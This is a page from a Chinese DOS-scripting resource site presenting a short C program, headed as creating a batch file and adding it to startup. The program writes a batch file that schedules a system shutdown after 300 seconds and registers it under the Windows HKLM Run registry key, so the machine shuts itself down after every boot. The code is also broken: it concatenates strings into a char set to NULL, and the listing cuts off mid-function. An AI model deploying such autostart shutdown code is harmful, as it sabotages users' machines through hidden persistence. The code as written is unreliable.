- ·上一篇文章:让winxp支持htm文件的缩略图
- ·下一篇文章:Regsvr32 用法和错误消息的说明
- ·百度中搜索更多的关于“c语言创建批处理文件 并加到启动项”相关内容
- ·谷歌中搜索更多的关于“c语言创建批处理文件 并加到启动项”相关内容
- ******申明******
- 本站文章内容有部分为收录网络中其他网友内容,DOS资源站不保证所有的代码都适合你使用。
- 由于编辑匆忙,有可能造成某些脚本文件出现丢失代码或代码无法运行的情况,请网友根据情况自行修改。
- 如果能将出错部分反馈给我,那就更好了。
c语言创建批处理文件 并加到启动项
#include<stdio.h>
#include<stdlib.h>
main()
{
clrscr();
file_Create();
file_write();
file_run();
getch();
}
file_Create() /*创建文件*/
{
FILE *fpa;
fpa=fopen("C:/test.bat","w");
fclose(fpa);
}
file_write() /*写文件*/
{
FILE *fpb;
fpb=fopen("C:\\test.bat","w");
if(fpb==NULL)
{
puts("Can not open this file!");
fclose(fpb);
exit(0);
}
else
{
char *str[]={
"@echo off \n",
"color a \n",
"C:\\WINDOWS\\system32\\shutdown.exe -s -t 300"
};
char str_all=NULL; /*定义接受字符*/
int i;
for(i=0;i<sizeof(str)/sizeof(*str);++i)
{
strcat(str_all,str[i]);
};
fputs(str_all,fpb);
fclose(fpb);
}
}
file_run()/*写入注册表 自动运行*/
{
system("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v Run_cz /d C:\\test.bat /f");

